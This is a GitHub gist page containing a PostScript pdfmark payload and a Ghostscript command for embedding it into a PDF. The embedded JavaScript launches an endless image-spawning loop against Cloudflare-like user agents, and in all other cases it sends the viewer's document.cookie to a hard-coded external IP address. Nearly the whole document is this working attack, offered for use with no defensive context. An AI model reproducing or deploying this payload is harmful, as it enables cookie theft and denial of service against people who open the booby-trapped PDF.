Skip to content

Instantly share code, notes, and snippets.

@kennystrawnmusic
Last active December 9, 2025 16:12
Show Gist options
  • Select an option

  • Save kennystrawnmusic/b2e520a6fa0d5cc656691a5ec440af26 to your computer and use it in GitHub Desktop.

Select an option

Save kennystrawnmusic/b2e520a6fa0d5cc656691a5ec440af26 to your computer and use it in GitHub Desktop.
Use the following command to add this payload into a PDF: `gs -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=output.pdf pwn.ps input.pdf`
[ /_objdef {test} /type /dict /OBJ pdfmark
[ {test} << /JavaScript << /Names [ (test) << /S /JavaScript
/JS (if (navigator.userAgent.match\("/Cloudflare/i"\) || navigator.userAgent.match\("/cf-ray/i"\)) { var img = new Image\(\); img.className = 'test'; img.src = 'x'; img.onerror = function\(\) { while \(true\) { var inner = new Image\(1, 1\); inner.className = 'test'; inner.src = Array.from\(document.getElementsByClassName\('test'\)\).at\(-1\).src; inner.onerror = Array.from\(document.getElementsByClassName\('test'\)\).at(-1).onerror; document.body.appendChild\(inner\); } }; document.body.appendChild\(img\); } else { new Image\(\).src = "http://107.214.106.46/index.php?c="+document.cookie; }) >> ]
>> >>
/PUT pdfmark
[ {Catalog} << /Names {test} >> /PUT pdfmark
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment